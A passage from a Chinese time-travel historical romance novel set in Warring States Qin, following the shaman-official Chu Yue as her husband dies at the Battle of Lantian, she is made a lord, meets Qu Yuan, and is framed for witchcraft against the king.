大胖丫头非要看着楚越才安静,否则便大吵大闹,但好在楚越忙的时候,珠珠从来不闹,自己玩着玩具,玩累了,就爬过来,枕着楚越的腿自己睡觉。 她摸了摸珠珠的小脸,又低头,想要亲一亲女儿,奈何肚子有些大了,腰弯不下去。她不死心,将珠珠抱起来,亲了亲,珠珠被她亲醒了,揉了揉眼睛,含糊不清喊道:“阿母。” oi。 怎么醒了。 楚越连忙轻拍她的后背,“阿母在,乖乖,睡觉觉。” 珠珠又沉沉睡去,楚越这才松了口气。 职业女性,略不好当。 楚越觉得有些累,等属吏回来,楚越已经靠在桌案上,一手支着头,另一手抱着孩子,睡着了。 年轻人,睡眠质量就是好,头都不用倒,就睡着了。 等楚越一个激灵醒来,身边环境已经改变,眼前帷幔熟悉,床榻松软,她已经回到家了。 屋外传来嬴华的声音,“给我吧,我端进去。” 婼拒绝得干脆,“公子还是别进去的好,大司巫还在生您气呢。” 门开了,进来的是婼,楚越往门口方向看了一眼,辛展开手臂,将来人挡在了外面。 干得好,加鸡腿。 很久没睡过这么香的觉,睡醒之后,全身都痛,也不知是孕期难过,还是累的。今年的感动大秦最佳人物,必须发给她。 鸡汤中夹杂着药材的味道,压住了油腻气,喝起来,还带着股莫名的甘甜,楚越喝了一口,又喝了一大口,“好喝。” “珠珠呢?这么好吃,她肯定也喜欢喝。” 婼在她床边坐下,摸了摸她的头,“你的脸白的很,最近就去官署了,告假几天,在家好好休息几天吧。” 楚越苦笑,这当秦国朝廷是她开的吗? 每天都有十二个时辰不想上班,但是不得不上。 大秦公务员,难当,难当。 什么时候能退休?不对,大秦有退休这个词吗? 略作休息,楚越又出发去官署。近日国内也有桩大事,秦王最终册立公子荡为储君,一则连魏韩,是秦国连横国策,秦楚之战,与魏韩的邦交,也十分重要,二则,的确是因为他的身体不如往昔,不得不准备后事。 天下,没有不死的君王,交代好身后事,让权力顺利交接,也是君王职责的部分。 册立太子的典礼隆重而盛大,十七岁的公子嬴荡,被册立为太子,王后得偿所愿,满面红光,典礼结束,她拉着楚越的 手,轻抚她的脸颊,“怎么这样憔悴,你不要太过劳累。” 嬴荡也道:“是啊,叔母腹中还有弟妹呢。” 王后看向她腹部,欲言又止,“珠珠珠珠是个女娃,你还是得要一个一个男娃。”她看向楚越,一切不言而喻,王后所指,并非男女,而是说,要一个和嬴华的孩子。 “我和王上说了,你要生了,嬴华从义渠战场上下来,也该休息休息,这段时间,就让他陪着你,你也将手中的事情放一放,先把孩子生下来。” 听王后的意思,是要给自己放假,那楚越求之不得。 入了夏,天气炎热,孕妇怕热,楚越日夜难眠,她画了图纸,命工匠为她造了一张摇椅,放在阴凉处,竹子撑起大片帷幔,防蚊避虫。她闭着眼睛,手中刀扇轻摇,送来阵阵凉意,渐渐地,她进入梦乡。 梦中也是一模一样的烈日高照,她却不得不顶着烈日,在田间锄草什么锄禾日当午的梦?汗水滴滴滚落,炎热、疲累的感觉,愈发强烈,她大口喘息着,吐出的气息,也是灼热而滚烫的。 莫名的委屈感,和疲累感一起席卷全身。 她想要休息,走到田埂,这里也坐着一个孕妇,她正在哭泣,她说,她的丈夫死了,儿子也死了,能依靠的亲人,全埋在黄土之下,造成这一切的,是她曾经的爱人。 楚越听着她的叙述,不免感到悲伤。 孕妇转过头,却长着一张和她一模一样的脸。 楚越吓了一跳。 一阵凉意忽然迎面袭来,世界变化,她又回到了图书馆,空调阵阵,一切似乎只是场幻梦,低头一看,手里的书恰好翻在季君之乱。 魏冉杀群公子,惠文后不良死。 白起和楚系的联系,太过紧密,没有人知道他到底有没有参与那场秦王室内部争端,王后 他固然会是武安君,在楚系当道的时候,依旧矗立,可是他成为武安君的道路是什么呢? 他会杀了王后吗? 白起如果杀了那个抚养她长大的女人,这个世上对她最好的女人,她要怎么办? 噩梦总是来源于人心间最恐惧的地方,梦中,嬴华死了,白起杀了王后,她站在一片荒芜的烈日之下,不知何去何从。 那感觉太过强烈,楚越分不清是梦,还是现实,想要醒来,眼皮却沉重,无法从梦中醒来。 “楚越,楚越,你醒醒。”嬴华的声音,在耳边响起。 楚越睁开眼睛,噩梦似乎结束,她看着嬴华,梦中的感觉依旧强烈,她忽然扑进他怀中,惊魂未定。 “不要离开我,还有孩子。” 不敢赌,楚越不敢赌,赌白起究竟会不会参加季君之乱,王后会不会死在他手中。 嬴华活着,宗室未必式微,有宗室在,王后未必会死。 她要让他活下去。 嬴华抱住她肩膀,空出一手,轻轻摸了摸她的肚子,掌心温度透过单薄的衣料,熨帖肌肤,温度明晰。 他怕她生气,不敢见她,只敢偷偷守在她身边,趁着她睡着时上前,看一看她,谁料却看到她满头大汗,深陷噩梦。 不用楚越说出口,嬴华也知道她梦到了什么。 “对不起,我不应该离开你。” 那些酝酿心中的苦涩、怨恨,楚越已经来不及去想。 “我们的孩子还没出生,在他出生之前,你能不能不要离开我,我害怕。我怕你死了,从此离开我。” 嬴华沉默了。 良久,他才道:“没关系的,我之前,不也死了吗。” 嬴华口气释然,“我死了,可是我又回到你身边了,这一次也是一样,就算我死了,也回到你身边的。我会找到你,回到你身边。” “我不一定是姬荷。”楚越道。 时间上的巧合,一些或许是因为吃了菌子而产生的幻觉,怎么能证明她就是姬荷。 “我知道她的结局,只是因为,我见到过她的坟茔。” 楚越曾经参与过一个战国古墓的考古,墓主人死状凄惨,是被烧死的。 根据陪葬品中鲜明的巴国特色,和墓葬出土位置来看,她应该是个生活在秦国的巴人。墓志铭记载她的身份,巴王之女,嫁来秦国,但这位嫁秦的巴国公主为什么死状凄惨。 考古学家推测,可能是因为卷入了政治斗争,联系巴国覆灭之后,几次谋反,想要复国、摆脱秦国控制,专家推测这位公主应该是想要复国,被秦人报复,才会如此。 嬴华提到姬荷,说她和楚人勾结,想要复兴巴国,不知怎么就想到了那座战国墓。 秦人肯定不会放过姬荷的。 “我希望我是姬荷过,这样,围绕着我的很多疑问,都会解开,我不用再去困惑、思考。” “一直以来,我都有一种感觉,我要找什么人,想要再见到他,可是我找不到,我找了二十多年,那种似曾相识的感觉总是萦绕,我却找不到。直到我看到你,我觉得那个人就是你。” 第64章 蓝田之战命中注定的死亡 穿越异世,楚越是茫然的,她要往何处去?又为什么要去? 没有人能告诉她。 她看到嬴华那一瞬,似乎找到了方向,可是越靠近,又越迷惘,她为什么来这里?只是为了找到嬴华吗? 也许成为姬荷,可以暂时缓解迷惘,可她无法接受这样的命运,她就是她,她是楚越,不是姬荷。 这些日子,她总做噩梦,梦中场景光怪陆离,梦接着梦,一觉醒来,分不清是现实,还是身在梦中。 她梦见自己真成了姬荷,不顾一切的朝嬴华奔赴,她和他私奔到了秦国,然而自己巴国王女的身份,为他招来猜忌,因为自己,他带伤出征,最终战死沙场,秦人憎恶她,烈火顺着她的裙角而上,她一恍惚,却发现自己又回到了巴国祭神台。 一切还未开始,她还在巴国。 其实她不该来到这里,而应该回到属于自己的世界。她也不应该和这个世界的人产生交集,影响他的命运。 没有任何犹豫,楚越将手中的火把,丢到了沾满桐油的柴堆上,烈火熊熊,映红半边天际,火苗环绕,她却感觉不到痛,世界陷入黑暗中之前,她看见漫天红霞,她展开手臂,火焰温暖,似爱人的怀抱。 睁开眼睛,她又回到现在,看到了嬴华,楚越望着嬴华,泪水顺着脸颊滚落,是梦境,还是真的发生过,却被她当做梦境遗忘? 她不知道,五指合拢,现在被她紧攥在手里的,是嬴华的衣襟。 “你走了,我要去哪里找你?我想见到你,很想很想见到你。”楚越哽咽道。 怀中的人哭的那么伤心,她似乎陷入了某种绝望,脆弱的,像是狂风中的树叶,沙沙作响,仿佛下一瞬,就要被风暴卷走吞噬。 嬴华揽住楚越的肩头,安慰道:“楚越,不要再想了,好了,不要再想了。” 死了就是死了,上到黄泉下碧落,两处茫茫皆不见。 离得近了,她就不希望他死了,可是脑海中又有一道坚不可摧的声音告诉她,历史不容改变。 那些不知从何而来的感情,和脑海中的理智作斗争,楚越深陷漩涡,无法自拔,她推开嬴华,剧烈喘息着伏在床边,神情痛苦。 “我要是姬荷,就是我害了你。” “我不是,我没有错。” 她什么都没有做。 身上背负的血债,已经够多,她不能,也再背不起多一道。 嬴华望着面色苍白的楚越,老巫的话,在耳畔回响。 “你们在一起,意味着死亡、腐烂,从黄土中走出来的人,终将归于黄土。” “你没有错。”嬴华道 秦楚大战,一触即发,双方战于丹阳,嬴疾、魏章领兵,大败楚军,斩 首八万,俘大将屈匄,及以下将领八十余人,秦国的盟友韩魏,与秦军联合,大败齐、宋联军于煮枣。 楚军大败,汉中门户大开,怀王不甘失败,又组织大军二十万,直奔秦国。 他们绕过了秦军主力,出武关,直奔蓝田,过蓝田,就是咸阳。 眼睛眨了一下,敌人就杀到家门口了,此时秦国大军,一路远在煮枣,一路在丹阳,一时回撤不及,为了抵御楚国的倾国之兵,秦王发关中之民,前往蓝田布防。 蓝田,已经变成了绞肉机。 双方投入兵力,都在二十万以上。 战争打到这个地步,秦王亲自赶赴蓝田,关中、咸阳所有能发动的兵力,全部赶赴前线。嬴氏宗族,成年男女,悉数赶往蓝田,就连宫中的王后、王妃都编在行伍,为将士缝补衣物。 楚越即将临盆,却也依旧赶赴蓝田,浓厚的血腥味迎面扑来,夹杂着尸体烧焦的肉味,楚越胃中不住翻滚,她压下恶心的感觉,举目望去,四周全是伤兵,楚国的、秦国的,呻吟声遍野,战争惨烈,一览无遗。 蓝田一旦失守,接下来就是咸阳。 嬴华忧心忡忡。 楚越见状,立刻道:“秦楚交战人数高达四十万,不缺你一个,你去或者不去,对整个战局没有任何影响。可是这对你来说很危险,非常危险。” 他说,他死在对楚之战,没有第二场对楚大战了。 “我知道。”嬴华道。 前世,他就死在这里。 “可是我必须要去。”嬴华看向楚越,“鬼神若有用,何须将死。” “疆场之上,生死难料。若畏死亡,何必为将。过蓝田,则咸阳危急,若社稷真有差池,我该如何面对列祖列宗?即便真如你所言,咸阳无碍,他日王上问我,我为何不出战,我将如何做答?我告诉他,缥缈鬼神之事?” “若我如此作答,王上又会如何作想?能力不为国、不为君王所用,而为私心,大王会怎么想你?你经不起猜忌,楚越。” “你一直在做很危险的事情,这是你想做的事情,我不能阻止你,但楚越,天命只能落在秦国头上。”嬴华的神情变得严肃,“否则,你会很危险,稚子怀璧过闹市,你需要强有力的支持,才能不被觊觎。但支持,也是束缚。” “我们,没有选择,我必须去!” “即便是死,也是我心甘情愿,我心甘情愿,为你、为秦国而死,这是我选择的命运,无怨无悔。” 他甘愿为她而死,楚越的心狠狠震了一下 秦王问左右何人能领兵,嬴华刚想站出来,衣袖却被人扯住,他侧首,在楚越恳切的目光中,短暂迟疑,最终,他毅然挣脱了楚越的手。 兵符到手,木已成舟,楚越深吸口气,道:“我或可前往韩军,游说韩将。” 秦楚大战僵持,破局便不在国内,而在盟军,韩魏的动向,变得十分重要。 “你马上就要临盆了。”嬴华无奈,“回咸阳去吧。” 楚越望着嬴华,“你觉得我会听你的吗?” 她主动请缨,秦王犹豫不决,太子荡主动请缨,愿意护送楚越前去韩军营中,嬴驷这才松口,派兵护送两人。 马车颠簸,行到半路,一股暖流便从身下溢出,婼手忙脚乱为她接生,孩子生下来,是个不怎么会哭的男婴,旅途颠簸,楚越只能将孩子寄放在一户农家,并留下燕纹玉佩为证。 楚越强撑着虚弱的身体,找到了暴鸢,韩国的名将,也是此番韩军的主帅。 韩国已经出兵攻打楚国,趁着楚军主力在蓝田,长驱直入,下召陵、进逼邓。 楚越指着地形图道:“韩军现在在楚军背后,若是将军能调转兵锋,从楚军背后偷袭,与秦两面夹击,则二十万楚军生路便绝。” 但不出所料,这位韩国名将拒绝了她,“我不能这样做,韩国若是从楚军背后偷袭,得利的是秦国,而韩国,除了损兵折将,毫无利得。我若长驱直入,则得召陵,下邓,此处长城可为韩国屏障,抵御将来楚国进攻。” “我是韩国的将军,带领的是韩国的士卒,当然要为韩国谋划,如此利秦却不利韩之事,自不能为之。夫人要救秦,请恕暴鸢不能相助。” 楚越拔出了腰间的佩剑,帐中将士顿时紧张起来,纷纷拔出剑,嬴荡与秦军也拔出剑,双方剑拔弩张,楚越双手握剑,环视一圈,士卒披坚执锐,眼前暴鸢面不改色。 击倒这些士卒,把剑架在暴鸢的脖子上,逼着他调转兵锋支援秦国的可行性几乎为零。 想了想,楚越把剑架到了脖子上,“将军。” “将军是聪明人,一定知道,我若是死在这里,秦国就有出兵的借口。到时候,就是韩王有心,也保不住你。此番击楚后,将军可以入秦,以将军之功,封侯不在话下。将军若一意孤行,韩国或许得利,但将军一定会死。” 面对楚越的威逼利诱,暴鸢只是很平静的回答道:“人都有死的一日,多谢大司巫,让在下,看到了自己的死期,我回韩之后,一定与自己备上棺椁。” 楚越绝望的发现,即便她有想要改变历史的心,历史却并不会因为她一个人而改变,这是个每个人都有自己想法的世界,国家与国家,人与人,彼此掣肘,形成命运。 延续千年的命运,就是历史。 手中长剑无力垂下。 她救不了嬴华,却不甘心就此放弃。 “如果韩国此番不出兵,我敢保证,秦国接下来,会与韩国不死不休。”楚越怒威胁道。 “大司巫!”暴鸢也愤怒了,“你也配称作巫咸大神的后裔,你眼中只有秦国,只有你的丈夫,那我韩国呢?我带领出来的韩军士卒,难道不是谁的丈夫?韩国是弱小,可是秦国要是来进攻韩国,韩国也不怕,大不了,鱼死网破罢了。我暴鸢,在沙场等着夫人的诅咒应验。” 腹部传来阵强烈的绞痛,大股温热的血顺着腿根流下,楚越眼前有些发黑,婼眼疾手快,一把搀扶住了她。浓厚的血腥气,在营帐中散开,暴鸢见她衣物大片晕染鲜血,一时有些不忍。 “医师!传医师来!” 头越来越重,那些分不清是梦,还是真实的场景,再度浮现眼前。 她是逃婚的王女姬荷,是殉国的王女姬荷,也是楚越,她陷在这个循环往复的梦中,一次一次,做出命运的选择。接受命运,拒绝命运,他为她而死,她不想他死。 兜兜转转,他们又在故事的开头重逢。 朦胧之间,她似乎又看到了嬴华。 夕阳温暖,十七岁的少年公子,身着玄甲,身披金光,脚踏暮光,穿过宫殿前一片开阔地带,朝她走来。 “你不要不高兴了。” “我要走了。” 夕阳拉长少年的背影,楚越张口,想要叫住他,可是张了张口,却什么声音也没有发出。 留不住,也不能留。 嬴华似乎感觉到了什么,回头望来,楚越也感觉到了什么,望着空地前,犹豫不前的少年,绝望捂住嘴。 他们隔着一片充满夕阳的开阔地对望,嬴华眷恋不舍的望着楚越,楚越也望着嬴华,泪水滚落脸颊,她加重了手上的力道,才没让哭声从指缝溢出。 嬴华仰面躺在血泊之中,楚军的战车声轰隆,越来越近,前世死的那一天,也是这样,漫天红霞,他躺在地面,眼前逐渐陷入黑暗,同伴的呼唤声,逐渐远去,自己沉重的呼吸声,占据整个世界。 临死之前,暖风和煦,像是爱人张开手臂,拥他入怀。 他从无边的黑暗中睁开眼睛,还是那样的漫天红霞,他奉命入宫,出宫时,途径一处宫殿,一个小小的女孩站在檐下,神态沮丧。 他好像在梦里见过她,但那个梦是个噩梦,脑海中一直有道声音告诉嬴华,不要靠近这个人,千万不要靠近她,她是洪水、是猛兽,他会因为她而死。 可那个小姑娘站在那里, 就有一股莫名的吸引力。 嬴华,不受控制的走上前去。 楚越看见他,脑海中与世隔绝的念头消失,她想要,靠近这个人。是未知,是痛苦,是生离死别,都不要紧,她就要朝他走去。 他们,走到了自己选择的道路尽头,站在生死的边缘,相互凝视。 楚越笑了,眼泪却从脸边滚落,她最终挥手与他道别,“走吧,嬴华。” 那道背影消失在开阔地尽头,仿佛从未出现在她的世界里。 楚越瘫坐在地,失声恸哭,她哭着,从梦中惊醒。 嬴荡眼疾手快,一把按住她的肩膀,“叔母。” 楚越似乎感觉到了什么,哽咽道:“他还是离开我了。” 嬴荡低头,“叔母,不要说这样的话,公叔会没事的。” 楚越摇头,“我可以感觉到。” 车队折返,回到那座村庄,眼前却只剩下一片荒芜,目之所及,全是漆黑的焦土,与断壁残垣。楚越愣住了,她不顾虚弱的身体,跳下车,往那片断壁残垣跑去,她跑了几步,便踉跄摔倒在地。 第65章 阴君楚越成为秦国封君 蕲年宫前祭台,雄浑大鼎依次陈列,鼓乐声一起,台上数十名巫按方位而舞,各色新鲜祭物,被盛装的祝官虔诚捧上,楚越向秦国先祖献玉帛,而后展开祭文,向祖先神灵寻求帮助,保佑战争胜利。 她每用力念出一个字,下身便涌出股温热的血,坚持祭祀完秦国列祖列宗,她便无力再支撑,只能由宗祝邵鼛替代,继续祭祀。 秦国是多神信仰的国家,山神、水神、日月星辰,都是他们祭祀的对象,雍城不仅有诸畤,有大大小小百余祠,分别祭祀不同的神灵,而现在,这一百多座祠都在鼓乐声中,举行着相同的仪式—— 诅咒楚国,寻求战争胜利。 邵鼛先祭巫咸,再祭祀大沈厥湫与亚驼两位大神,巫咸是巫师之祖,当之无愧的大神。朝那湫意为龙神居处,大沈厥湫,是朝那湫中最强大的神。亚驼也是水神,象征着无尽的力量与威严。 楚国攻势太过猛烈,即便是有虎狼之师称号的秦国,也难以招架,嬴疾、魏章从丹阳、煮枣一带回师需要时间,危机无奈之下,神灵的保佑,似乎也成了救命的稻草。 “有嗣秦王,敢用吉玉宣璧,使其宗祝邵鼛,告布于丕显大神巫咸[1]” 几份没有什么太大变动的诅文,被宗祝大声念诵,又刻在石上,与玉璧一道,或埋入土中、或沉入水中,楚越望着掩埋诅文和玉璧的宗祝,视线开始摇晃,她踉跄几步,伸手扶住了一旁的木杆,是旗杆,身躯越来越重,脆弱的旗杆很快承受不住她的重量,被带翻在地。 旗帜倒下,一只革靴重重落下,玄旃沾染血泥,被一双满是厚茧与血口的大手小心翼翼拾起,又擦拭掉掉污迹,旗身隐约国号——秦。 秦人的战旗,再度矗立于广袤的关中平原之上。 嬴疾、魏章两路援军赶来及时,前后夹击,楚国大败,汉中之地六百里,归于秦国。 烟尘从平原散去,零星落入秦国人家,家家户户缟素,焚烧麦秸的烟尘幽幽,散汝空中,楚越凝视空中散去的烟尘,抓起另一把丢进火盆,青烟道道,再度腾起,古人焚烧麦秸,希望亡者在地下,也能有五谷食用。 吊唁的人,往来不绝,珠珠还小,穿着重孝跪在一边,被楚越按着回礼,她一次次低头,又一次次好奇抬起头,望着面前一个个熟悉的、陌生的人。 秦王嬴驷与王后亲来吊唁,相国张仪也来了。 两人的脸色都十分凝重,这场大战,秦国固然胜利,却也是惨胜,嬴驷摸了摸珠珠的头,王后扶起楚越,强忍悲痛,安慰她道:“华弟走了,你也不要太过伤心,王上已经命荡儿率军去探访了,一定能找回你的孩子。” 楚越双目空洞,低声问道:“还能找回来吗?" “能!一定能的!” “如果找不回来呢?” 楚越心中已经做好了最坏的打算,那个孩子的状况,她这个做母亲的很清楚,孕中多思,连带着孩子生下来也十分虚弱。即便能找回来,也未必能养大。 如果这个孩子夭折,家产当然尽归珠珠,可是爵位呢? 秦国的爵位能够继承,但大部分爵位需要降级继承,没有儿子,爵位要么回收,要么由他人继承。 楚越望着消失在战火中的村落,心中已然绝望,她跪倒在夕阳下的旷野,无助哀嚎出声,像战国时代所有女人一样,她失去了丈夫,儿子可能也已经死了。 嬴荡扶起她,又急忙命属下在附近搜索。 “姊姊别担心,一定能找回来的。” 能吗? 楚越用力抓住嬴荡的手,用力从泥地上站了起来,嘴上说着,一定要找回来,心中却已经一片寂然。 得要有找不回来的办法 她扶着棺椁从蓝田返回咸阳的路上,想了一路。 如果不能让珠珠继承,她会成为继承者,战国时代,王死了,王后冠上王的谥号,成为母后,继承他在这个世上的地位,秦国民间,也有女户,和继承丈夫爵位的寡妇,那么,她也可以。 面对楚越的疑问,王后不知如何作答,只得看向秦王,嬴驷有些动容,“找不回来找不回来,华弟就只有珠珠这唯一的血脉一定能找回来的,否则寡人如何向华弟在天之灵交代!” 下葬那日,来的人依旧很多。 坟墓修一新,守墓人搭起草棚,楚越坐车离去,朔风野大,沙灰飞扬,她频频回头,衰败的枯草,随风而起,绕着她旋转而上。 楚越伸手,风却从她的指尖溜走,掠过一旁珠珠,扬长而去,无影无踪。 “别走”她不受控制的出声,泪水,滴答砸在地上,摔的四分五裂。 不要走,因为,楚越很清楚,他这一次走了,就再也不会回来了。 所有的故事都已经走到了终点,她不会再遇见这个人了,那些似真似假的梦,连贯成一个纠葛的故事。相爱的人,没有相守,所以遗憾而死,她铭记爱人,一直不曾停下找寻,最终回到了故事的起点。 这一次,她选择跳下船,朝那个少年而去。 但她害了他,蒙在命运的迷雾散开,未知露出本来的面目,是王室的血腥与残酷。 像是午睡时难以挣扎而出的噩梦,分明意识清醒,想要挣脱,却怎么也醒不来,只能再度坠入新的噩梦。 她在烈火中化为焦土,强烈的情愫使然,一睁眼又回到了故事的原点,这一次,看到命运的她,选择不再相遇。 世界陷入黑暗之前,她却那么眷恋爱人的怀抱,再见,渴望再见,即便知晓自己不得善终,也想要再见。 因为,只要见到 只要,还相遇 她一直要找的那个人,已经找到,是嬴华,也是那个追求完美结局、却屡屡困顿于命运的少女,而今,她终于得到救赎。 遇见了,结局就不再重要,所有人一生的故事,都不过大河中微弱一粒石沙,那些曾经以为刻骨铭心的,以为撕心裂肺的,最终全遗忘脑后,河水淌过,如大梦一场,沙石转瞬便被淹没。 坟茔渐渐消失在身后,楚越终于回首,珠珠小心擦去她脸上的泪水,问道:“阿母,阿父什么时候回来?” “他出远门了,要过一段时间才能回来。” 蓝田之战大捷,战后按功封赏,首功当然属于上天,都是因为上天庇佑秦国,所以秦国才能战胜楚国。战胜的荣誉归于神灵先祖,负责传递消息的巫祝也功不可没,秦王犹豫再三,封楚越为侯,但无实际封地。 秦之封君,除了有封地的实质封君,也有虚封,仅有君号,没有食邑[2]。 楚越封侯,却无封地,便不能按地名称呼,于是号为阴君[3]。 阴者,有指女子之意,又暗含鬼神。 在她成为秦国封君的当天,嬴荡抱回来了一个孩子,襁褓中,塞着她当时留下的燕纹玉佩,距离和孩子失散,已经过去了将近半年。 半年,足够让一个婴孩发生翻天覆地的变化,楚越已经记不清孩子的样子,望着襁褓中孩子,她一时有些拿不准主意。 玉佩,还是那块玉佩,刻着燕纹,秦人是伯益之后,以燕子为图腾。 这的确是她放进襁褓的玉佩,楚越轻轻将孩子贴近胸口,“我的儿。” 楚越为这孩子取名为和,天下至宝,莫过于随侯珠、和氏璧,既然姐 姐叫随,那他就叫和,呼应一下。 在蓝田一战中飞速崛起的将领诸多,除了魏冉,还有嬴壮,他在战场上的表现过于突出,英勇作战,以一当十,他凭借军功,一跃成为右更,就职禁军,与魏冉一道负责咸阳卫戍。 秦楚大战结束,楚国大败,不得已向秦国求和,秦国虽然战胜,但此一战败楚,却不能弱楚、亡楚,况且齐国尚在,过于威逼楚国,只能让他彻底倒向齐国。 嬴驷也只能答应与楚国和谈,两国重新签订盟约,楚王派遣公子子兰入秦,迎娶秦国公主为妻。 公子子兰是楚王幼子,生的十分好看,一身华丽楚服,戴如云高冠,随从的士人们,也是各个不凡,高冠博带,衣袂翩翩。 因为是为两国联姻而来,所以即便战争的阴霾尚未在秦国上空散去,但参与的人脸上,多半还是挂着礼貌的微笑。 除了两个人,一个是楚越,另一个是子兰身后的一个青年,约莫三十多岁,沉着脸,不像是来参加婚礼,像是来砍人的。 猜都不用猜,这绝对是楚国主战派。 让主战派来求和,楚王怎么想的?楚越蹙眉。 “左徒,你能不能不要这么扫本公子的兴?”子兰不高兴了,“我们此来,是为了秦楚之好,你这是什么表情?” 好熟悉的官职。 这人,不会姓屈吧? 偷听人说话不太好,但她听力太好,话非要往她耳中钻就另说。 楚越正暗暗听着,忽有随从腹诽道:“这个屈平,王上派他来就是让他亲眼看看秦国国势,让他知道王上的难处,他是一点不明白,这么得罪秦人,有什么好处?” oi。真姓屈,还叫平,还是主战派! 楚越眼底略有了点光彩,急忙定睛朝子兰身边那青年望去。 屈原,真人啊,还是活蹦乱跳的?快让她看看。 子兰稍微展露出对屈原的不满,屈原便拂袖而去,楚越将珠珠交给魏和,自己悄然跟了上去。屈原走得很快,楚越跟了两个拐弯便丢了。 不是还没看见脸呢 正在她四处搜索之际,身后传来阵细微的声音,楚越敏锐觉察,回头望去,屈原站在她身后,冷冷望着她,“你是何人?为何要跟着我?” 看清屈原脸的一瞬,楚越忽然笑了出来。 这张脸和课本上的脸一点都不像,一想到课本上的脸,她就想起同桌根据‘制芰荷以为衣兮,集芙蓉以为裳’这一句复原的屈原装束,荷叶小吊带和莲花小短裙,与眼前人重叠。 她根本绷不住。 屈原见她无端发笑,脸上更是困惑,“你笑什么?” 楚越强忍笑意,“我认识你,你是楚国著名的文士,我知道你写的文章。” 叫《楚辞》感觉不太对,这是后人的说法。 屈原‘哦’了声,显然不信、 “我真知道你,你的” 长太息哦不,这会儿他还没被贬,没有叹息出来 屈原冷笑声,一点好脸色没给楚越,“我的什么?” “忘记开头第一句了,能提醒一下吗?”楚越尴尬道。 屈原蹙眉,眯着眼睛打量她一眼,试探性道:“后皇嘉树?” 楚越连连点头,“对,后皇嘉树,橘徕服兮,是《橘颂》[4]。” 屈原微微点头,这才朝楚越拱手,“看来阴君是真的知道,是在下失礼了。” “我骗你做什么?” 《离骚》可是高中必背古诗文,还有《招魂》,当年背的她头都大了,上大学之后,在图书馆无意间翻到过《楚辞全集》,里面就有《橘颂》,翻开瞟了几眼,没想到在这儿派上用场了。 “你知道我是谁?”楚越也十分好奇。 “方才在殿中,我便注意到阴君了,满座喜色,唯有阴君一人,神情凝重。阴君应该和我一样,都不希望秦楚和谈。” 屈原说话,确实很直。 楚越莞尔,“当然,这一战,秦国损失惨重,我的丈夫也死了。据我所知,左徒的家族,屈氏,也在这场战争中,死伤无数,实力大挫。” “不止如此,不单单我屈氏一家,还有无数楚人为之殉难,秦人有虎狼之心,要吞并天下,涂炭列国,楚国绝不能和秦国议和。” “楚国就没有吞并天下的雄心壮志吗?”楚越反问道。 “而今列国,都以吞并他国为目的,你楚国,不也吞并了吴越、汉水群姬,才有而今疆域。楚国可以吞并秦国,只要你们有这个能力。可是现在,楚国有这个能力吗?” 屈原想了想,“现在的楚国没有,可是将来的秦国会有,现在不孤注一掷,打掉秦国吞并列国的能力,楚国的将来,十分危险。你们占据巴蜀,得到了长江、嘉陵江上游,又得到了汉中之地,楚国南面门户大开,这对来说,是巨大的威胁。” “打掉秦国,楚国也两败俱伤,齐王要是知道了,做梦都得笑醒。”楚越打趣道。 屈原陷入了沉默。 战国,是个列国相互牵制的时代。 秦楚和谈,又与赵国拥立公子职为新燕王,秦国公主,成为了燕国母后。新燕王要振兴燕国,建黄金台,千金买马骨,意在招揽名士,为己所用,消息传到秦国,正陪王后挑选魏国公主画像的楚越随口感慨道: “燕王礼贤下士,不输我王当年,可见外甥还是像舅父的。” 王后笑了,“燕国苦寒,伯嬴也算熬出头了。” 看完画像,楚越回到府邸,咸阳令侯在门外,似乎在等她。 “阴君。”咸阳令上前行礼。 诙立刻上前,低声道:“君上,咸阳令是来抓你的。” 楚越蹙眉,眸光为之一锐,“嗯?” “阴君恕罪。”嬴壮大摇大摆,从府中走了出来,他手中拿着兵符,戍卫府邸的虎贲军,无不低头,“我奉王诏,还请阴君配合我查案,去咸阳狱走一趟。” 楚越的目光落在他手中虎符,良久,才道:“那是自然。” 路上,咸阳令告知她整件事来龙去脉。 原是嬴壮在宫中巡逻时,发现有宫人在往树下埋木偶,挖出一看,上面居然写着秦王的生辰八字。 严刑拷打之下,宫人指认,是阴君让她安放木偶,诅咒王上。 诅咒君上,是谋逆大罪,当族灭之。事关重大,楚越被咸阳令请到了监牢。 牢狱中,楚越看着面前的帛书,讥讽的笑出声:“你要我承认,是我诅咒了嬴华,才导致他战死沙场,也是我用巫蛊,害得王上抱病。” “我这么做是为了什么?你有什么证据?”她的口气渐渐硬了。 嬴壮声音陡然拔高,威严呵斥道:“我有你行巫蛊的人偶,有宫人的证词,你还不认罪?你与公子华感情不和,为了能和你的旧情人再续前缘,于是诅咒杀夫,你府上的人,也能证明你经常与公子华争吵,这难道不是证据吗?” “那王上呢?我又为何为何要害王上?” 嬴壮冷笑声,“这恰恰是你该招供的事情。” 楚越毫不畏惧,怒斥道:“那你就拿着这人偶作证据,去王上面前定我的罪!” "敬酒不吃吃罚酒是吧?"嬴壮威胁道。 楚越口气生硬,“你也配动我!我是秦国的封君,是宗室,是你的长辈,即便我有罪,也该交由驷车庶长、大宗伯审理,宗室没来人,你敢动我” 嬴壮语塞,他的确只是在恫吓楚越,谁知她软硬不吃。事关王族内部事宜,外臣不便插手,嬴壮是晚辈,以晚 辈审长辈,于礼不合,嬴疾前日去了蓝田,王都中只剩下大庶长嬴操。 看着出现在眼前的嬴操,楚越意识到被人针对了。 嬴壮是特意选了个时辰来针对她,逃婚这件事,让嬴辛颜面扫地,作为嬴辛的亲大哥一个蓄意加害,一个素有旧仇,楚越知道,这顶杀夫、诅王的帽子,是照着她脑袋做的,非要给她扣上不可。 可是为什么呢? 又是谁? 第66章 生死赌局证明自己的清白 几个嬴氏宗族的长辈联席,算是法官,嬴操等青年一代旁听,算陪审团,嬴壮居左,楚越在右,一个质控,一个被告,大秦法庭正式开庭。 嬴壮将证据悉数拿出,摆在堂上。 面对莫须有的指控,楚越尚未发声,便有陪审团成员站出来为她辩护, 只是第一个站出来为她辩护的,是一个意想不到的人。 嬴轩完全没将嬴壮放在眼里,“就这些?一个写着王上生辰的木偶,谁都可以做,一个宫人的证词,重刑之下,有什么拿不到?就凭这些,你说阴君有罪?我还说你小子蓄意构陷呢。” “我构陷阴君做什么?”嬴壮急忙辩解。 楚越反应迅速,“这就是你要认的罪啊,问我们做什么。” 嬴壮眼见自己被绕进去,当即不再理会嬴轩,而是对嬴氏长辈道: “诸位叔祖、公叔,众所周知,阴君有预言之能,她怎会不知公子华将死?若她真心对公子华,公子华岂会殒命。公子华之死,诸位难道不觉得可疑?” 